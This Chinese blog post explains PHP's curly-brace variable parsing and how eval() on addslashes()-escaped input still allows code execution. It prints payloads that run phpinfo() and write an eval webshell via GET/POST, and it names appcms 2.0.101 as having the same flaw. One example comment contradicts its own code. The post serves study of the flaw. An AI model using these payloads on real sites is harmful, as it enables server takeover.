PHP的变量解析问题。

0x01  变量解析的两种语法

当字符串用双引号或heredoc结构定义时,其中的变量将会被解析。共有两种语法规则:一种简单规则,一种复杂规则。

以上这段话摘自php手册。在这里不谈论简单规则。

0x02  复杂(花括号)语法

任何具有string表达的标量变量,数组单元或对象属性都可使用此语法。只需简单地像在string以外的地方那样写出表达式,然后用花括号{和}把它括起来即可。由于{无法被转义,只有$紧挨着{时才会被识别。可以用{\$来表达{$。

note:

函数、方法、静态类变量和类常量只有在 PHP 5 以后才可在 {$} 中使用。然而,只有在该字符串被定义的命名空间中才可以将其值作为变量名来访问。只单一使用花括号 ({}) 无法处理从函数或方法的返回值或者类常量以及类静态变量的值。

看完php手册,来看一些例子。

$test = "coder";
echo "$test"; //输出 ChaBug
echo "$tests"; //爆出错误信息

这里我们的本意是第二条输出 coders,然而php会返回一个notice,Undefined variable: tests。说明这里$tests被当作一个变量来执行了。这个时候就要用到复杂语法,”${test}s” 这个时候就会输出 coders。{}在这里定义了标识符,也就是变量名字的边界,告诉””在花括号内的才是变量。

也就是说 {}为变量名定义了一个边界。也就是说”{${test}}”和”${test}”效果是一样的。

 0x03  实际的用途

前几天ChaBug群里的小伙伴放了一个图片,当时知道是复杂语法也就没在看了,今天在这里仔细研究一下。代码如下:
$str=@(string)$_GET['chabug'];
eval('$str="'.addslashes($str).'";');

这里我们在url中输入 ?chabug={${phpinfo()}}即可在页面返回php的相关信息。或者${${phpinfo()}}也可以,二者的区别就是前者返回一条警告,后者返回两条警告。小伙伴发的那道题在下面加了一条可以利用一下payload :

${${fputs(fopen(‘shell.php’,’w+’),'<?php%20@eval(\$_POST[test])?>’)}}在同级目录下写入shell文件。其实这样是不行的,我自己也本地试了一下,具体原因以及本题的利用方法原理将在下面解释。

0x04  利用原理

我们先来弄懂{${phpinfo()}}的原理。查阅了php手册以及一些资料得知,通常一个变量的定义必须是以下划线或者英文字母开头,且变量名只能包含下划线字母和数字。很明显{phpinfo()}里面包含了圆括号,并不是一个变量名,然而却可以执行。是因为在php中,可以接受函数的返回值作为变量名,而phpinfo()的返回值为TRUE也就是说{${phpinfo()}}其实等于$TRUE。我们来验证一下。
var_dump(1 == phpinfo()); //返回bool(true)并且返回php相关信息
var_dump($TRUE == ${phpinfo()}); //返回bool(true)并且返回php相关信息和两条警告

通过这个验证我们可以获取两条信息,一、在以函数返回值为变量名称定义变量时,函数先执行并返回相关值,{}花括号获取返回值并连接$定义变量。二、$TRUE==${phpinfo()},说明{${phpinfo()}}并不是定义了一个变量$phpinfo()而是$TRUE。

所以我们就很容易理解为什么在第三阶段中可以执行phpinfo()的原因了。我们来拆分代码,方便理解。
eval(‘$str=”‘.addslashes($str).'”;’);
eval(‘$str=”{${phpinfo()}}”;’);
这个时候双引号就会把{}里的内容当作变量,而又因为先执行phpinfo()函数并将返回值赋给变量名所以会页面会返回php相关信息。这里不太容易理解,我们可以自己在本地试验一下
$str = "{${phpinfo()}}";//可以理解为$str = $true 而 $true是先执行了phpinfo()函数才产生的。
因为eval()函数会将引号内的字符串当作php代码去执行,所以就相当于执行了我们的上述代码,即返回了phpinfo和一条警告。
$test1 = "Welcome to ChaBug";
function chabug(){
$str = 'test1';
return $str;
}
$test2 = "{${chabug()}}";
echo $test2;//这里输出的是Welcome to ChaBug

BB了半天,觉得这一段代码足够说明问题….自行理解。
理解了{${phpinfo()}}的原理接下来说小伙伴的第二个payload为什么行不通。这个payload的想法是好的,但是构造的方法不对。payload作者的想法是利用在单引号中如果需要返回特殊字符,必须进行转义,即 echo ‘\”;返回 ‘ 。利用这一点来绕过addslashes()函数的转义,以达到命令执行写入webshell文件。但是这里为什么不行呢。
因为源代码利用了点(.)这个连接符。当我们的输入包含单引号({${system(‘whoami’)}})并且被addslashes()函数转义带入eval函数中是这样的。
eval(‘$str=”{${system(\’whoami\’)}}”;’);也就相当于
eval(‘$str=”‘
{${system(\’whoami\’)}}
‘”;’);
也就是说\’根本没有被解析回’。还是用代码来说简单一些。
$chabug = "\'";
echo '$str="'.$chabug.'";';//返回$str="\'";

即 echo ‘$str=”‘;+echo $chabug;+echo ‘”;’;
这样就能理解为什么0x03中的payload并不能实现的原因了。但是是有办法实现绕过addslashes这个函数的,下面分享一种方法但不仅限一种。
利用火狐插件或者burp,这里使用hackbar。
get:http://localhost/test.php?chabug={${@eval($_POST[cmd])}}
post: cmd=fputs(fopen(‘shell.php’,’w+’),’‘);
即可在同目录下生成shell文件。
appcms2.0.101存在同样的命令执行漏洞,可以尝试复现有助于理解。
欢迎各位师傅指点交流。

参考链接:http://php.net/manual/zh/language.types.string.php

最后说一句,PHP真他妈是世界上最好的语言!不接受反驳。